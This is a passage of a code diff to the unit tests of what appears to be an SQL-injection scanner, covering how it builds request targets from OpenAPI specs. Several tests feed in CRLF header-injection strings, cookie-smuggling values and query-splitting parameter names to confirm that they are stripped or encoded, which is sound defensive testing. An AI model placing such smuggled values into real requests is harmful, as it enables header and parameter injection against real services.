"properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}}
url, method, data, headers = _targets(spec)[0]
self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only
self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
def test_non_string_method_keys_do_not_crash(self):
# YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash
y = ("openapi: 3.0.0\n"
"servers: [{url: 'http://h'}]\n"
"paths:\n"
" /x:\n"
" get: {}\n"
" 404: {}\n"
" on: {}\n")
targets = openApiTargets(y, "http://h")
self.assertEqual(len(targets), 1) # only the real GET operation
self.assertEqual(targets[0][1], "GET")
def test_hostile_base_url_metadata_does_not_crash(self):
# _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata
# must not raise (it would abort the entire extraction)
hostile = [
{"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}},
{"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}},
{"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}},
{"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}},
{"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}]
for spec in hostile:
self.assertEqual(len(_targets(spec)), 1) # no crash, still one target
def test_param_entry_not_a_dict_is_skipped(self):
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}}
self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
def test_yaml_date_examples_serialize(self):
# unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified,
# not silently dropped (dates are pervasive in real specs)
y = ("openapi: 3.0.0\n"
"servers: [{url: 'http://h'}]\n"
"paths:\n"
" /x:\n"
" post:\n"
" requestBody:\n"
" content:\n"
" application/json:\n"
" schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n")
url, method, data, headers = openApiTargets(y, "http://h")[0]
self.assertEqual(json.loads(data), {"created": "2020-01-01"})
def test_crlf_in_header_and_cookie_is_stripped(self):
# a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request
# corruption); query/path values are separately percent-encoded
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}},
{"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}},
{"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}}
headers = dict(_targets(spec)[0][3])
for name, value in headers.items():
self.assertNotIn("\r", name + value)
self.assertNotIn("\n", name + value)
self.assertIn("X-A", headers)
self.assertIn("XB", headers) # control chars removed from the name
def test_explicit_examples_preferred_over_schema(self):
# a concrete example/examples on the media-type or parameter object must win over schema synthesis
# (real specs carry the canonical, validation-passing value there)
body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": {
"schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}}
self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"})
examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": {
"schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}}
self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"})
param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}}
self.assertIn("q=E", _targets(param)[0][0])
def test_openapi_31_const_and_type_array(self):
spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [
{"name": "c", "in": "query", "schema": {"const": "CV"}},
{"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}}
url = _targets(spec)[0][0]
self.assertIn("c=CV", url) # const used
self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback
def test_parameter_names_are_encoded(self):
# a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate
# at a fragment; deep-object brackets ([]) are preserved
spec = {"openapi": "3.0.0", "paths": {
"/q": {"get": {"parameters": [
{"name": "a&b=c", "in": "query", "schema": {"type": "string"}},
{"name": "a#b", "in": "query", "schema": {"type": "string"}},
{"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}},
"/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded":
{"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}}
byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec))
getUrl = byMethod["GET"][0]
self.assertIn("a%26b%3Dc=1", getUrl)
self.assertIn("a%23b=1", getUrl)
self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names)
self.assertNotIn("#", getUrl)
self.assertEqual(byMethod["POST"][1], "x%26y=1")
def test_undefined_template_var_does_not_leak(self):
# a server/path template variable with no definition must not leave a literal '{...}' in the URL
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}],
"paths": {"/pets": {"get": {}}}}
url = _targets(spec, "http://h")[0][0]
self.assertNotIn("{", url)
self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten)
def test_absolute_server_url_is_not_rewritten_to_origin(self):
# a spec served from one host but declaring an absolute API server on another host must scan the
# DECLARED API host, not the spec's origin
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}],
"paths": {"/pets": {"get": {}}}}
self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets")
def test_path_parameter_is_injection_marked(self):
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [
{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}}
self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK)
def test_form_urlencoded_sets_content_type_and_multipart_skipped(self):
form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content":
{"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}}
url, method, data, headers = _targets(form)[0]
self.assertEqual(data, "u=1")
self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers)
multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content":
{"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}}
url, method, data, headers = _targets(multipart)[0]
self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded
def test_path_item_ref_is_resolved(self):
spec = {"openapi": "3.1.0",
"components": {"pathItems": {"Ping": {"get": {"parameters": [
{"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}},
"paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}}
targets = _targets(spec)
self.assertEqual(len(targets), 1)
self.assertIn("q=z", targets[0][0])
def test_operation_parameter_overrides_path_level(self):
spec = {"openapi": "3.0.0", "paths": {"/x": {
"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}],
"get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}}
url = _targets(spec)[0][0]
self.assertIn("q=op", url) # operation value wins
self.assertEqual(url.count("q="), 1) # not duplicated
def test_multiple_cookies_aggregate_into_one_header(self):
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "a", "in": "cookie", "schema": {"type": "string"}},
{"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}}
headers = _targets(spec)[0][3]
cookieHeaders = [v for (k, v) in headers if k == "Cookie"]
self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header
def test_cookie_name_value_cannot_smuggle_pairs(self):
# a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace)
# are stripped so a spec can not inject additional cookie pairs
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "a; injected", "in": "cookie", "schema": {"type": "string"}},
{"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}}
cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"]
self.assertEqual(len(cookieHeaders), 1)
cookie = cookieHeaders[0]
self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair
self.assertNotIn("injected", cookie) # invalid cookie name dropped
self.assertNotIn(" ", cookie)
def test_loose_path_without_leading_slash(self):
# a malformed path key missing its leading '/' must not glue onto the base (".../v1pets")
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}}
self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets")
def test_array_query_param_is_best_effort_scalar(self):
# documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded
# per style/explode. If richer serialization is added later, update this expectation deliberately.
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}}
url = _targets(spec)[0][0]
self.assertIn("ids=", url)
self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL
self.assertTrue(url.startswith("http://h/x?ids="))
def test_invalid_header_name_is_skipped(self):
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "Bad Name", "in": "header", "schema": {"type": "string"}},
{"name": "Also:Bad", "in": "header", "schema": {"type": "string"}},
{"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}}
headers = dict(_targets(spec)[0][3] or [])
self.assertIn("X-Good", headers)
self.assertNotIn("Bad Name", headers)
self.assertNotIn("Also:Bad", headers)
def test_explicit_null_example_falls_back_to_schema(self):
# 'example: null' must not serialize as null/"null" - fall back to schema synthesis
q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}}
self.assertIn("q=good", _targets(q)[0][0])
b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json":
{"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}}
self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1})
def test_degrade_not_skip_on_odd_shapes(self):
# enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved)
for spec in (
{"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}},
{"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}},
{"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}):
self.assertEqual(len(_targets(spec)), 1)
def test_malformed_ref_and_properties_degrade_not_skip(self):
# a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op)
for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}):
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody":
{"content": {"application/json": {"schema": schema}}}}}}}
self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped
def test_undefined_bits_are_skipped_not_fatal(self):
spec = {"openapi": "3.0.0", "paths": {
"/a": {"get": {"parameters": [{}]}}, # param with no name
"/b": {"post": {"requestBody": {"content": {"application/json":
{"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref
"/c": {"get": {"parameters": [{"name": "p", "in": "query",
"schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref
targets = _targets(spec)
self.assertEqual(len(targets), 3) # all three still produced
if __name__ == "__main__":
unittest.main()

View file

@ -60,6 +60,7 @@ class TestExtractTextTagContent(unittest.TestCase):
class TestParseSqliteTableSchema(unittest.TestCase):
def setUp(self):
self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns"))
kb.data.cachedColumns = {}
def _cols(self):

View file

@ -18,7 +18,7 @@ import tempfile
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import kb, conf
@ -173,3 +173,7 @@ class TestConfigFileParser(unittest.TestCase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -28,6 +28,24 @@ from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REG
# change there is reflected here too.
MARK = CUSTOM_INJECTION_MARK_CHAR
# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage
# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak
_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict")
_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks")
_pm_saved = {}
def setUpModule():
from lib.core.data import conf, kb
for k in _PM_CONF_KEYS:
_pm_saved[("conf", k)] = conf.get(k)
for k in _PM_KB_KEYS:
_pm_saved[("kb", k)] = kb.get(k)
def tearDownModule():
from lib.core.data import conf, kb
for (scope, k), v in _pm_saved.items():
(conf if scope == "conf" else kb)[k] = v
def classify(d):
if re.search(JSON_RECOGNITION_REGEX, d):

Some files were not shown because too many files have changed in this diff Show more